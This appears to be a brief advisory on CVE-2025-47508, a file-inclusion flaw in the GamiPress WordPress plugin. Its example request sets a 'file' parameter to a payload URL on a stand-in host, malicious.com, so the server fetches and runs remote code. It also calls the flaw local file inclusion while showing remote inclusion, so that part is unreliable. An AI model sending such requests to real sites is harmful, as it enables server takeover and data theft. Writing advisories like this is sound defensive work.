Overview
The CVE-2025-47508 vulnerability is a serious issue that affects GamiPress, a popular gamification plugin for WordPress websites. This vulnerability arises due to improper control of filename for Include/Require statement in PHP program, which allows a PHP Local File Inclusion (LFI). The potential impact of this vulnerability can lead to a complete system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-47508
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage
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Product | Affected Versions
GamiPress | up to 7.3.7
How the Exploit Works
The CVE-2025-47508 exploit operates by leveraging the improper control of filenames for Include/Require statements in the PHP programming language used by GamiPress. An attacker could manipulate the filename that’s included in the server-side PHP scripts, allowing for the execution of arbitrary PHP code. This could potentially allow for PHP Local File Inclusion (LFI), leading to data leakage or complete system compromise.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
GET /path/to/vulnerable/script.php?file=http://malicious.com/malicious_code.txt HTTP/1.1
Host: vulnerable-website.comIn this example, the attacker is making a GET request to the vulnerable PHP script, manipulating the `file` parameter to include a remote file from a malicious server (`http://malicious.com/malicious_code.txt`). This file contains malicious PHP code, which is executed on the server hosting the vulnerable script.
